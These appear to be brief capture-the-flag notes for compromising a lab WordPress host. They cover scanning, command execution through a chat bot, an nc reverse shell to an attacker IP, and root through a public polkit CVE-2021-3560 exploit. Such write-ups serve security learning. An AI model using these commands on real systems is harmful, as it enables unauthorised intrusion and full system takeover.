nmap -sC -sV {ip_address}
curl --head {ip_address}
we can add this information to out /etc/hosts file and visit the URL afterwards
checking on the website we can see it runs WP, we can get a scan and check if there's anything exploitable
wpscan --url http://{ip_address}
checking the vulnerability we discover how to get to the secret/hidden page
once we're in we are able to start a chat we a 'bot' that can return some interesting things
so we write in the chat 'list ../hubot/scripts' afterwards we go to the file 'file ../hubot/scripts/files.js' reading the .js file we discover we can run commands with 'run'
nc -nlvp {port}
nc -e /bin/sh <attack_ip> {port}
for a more stable shell we run python -c 'import pty;pty.spawn("/bin/bash")'
to transfer it we start a webserver on out attack machine and from the target we can wget the file
with linpeas we discover some interesting files related to the rocket chat and a specific user, we can use that to login into the machine with ssh
I've used the following https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation", which enumerates and adds a user
adds a user, we try to switch to that specific user using the password 'secnigmaftw' with 'su secnigma'
we run 'sudo bash' and we insert the previous password we got for the newly added user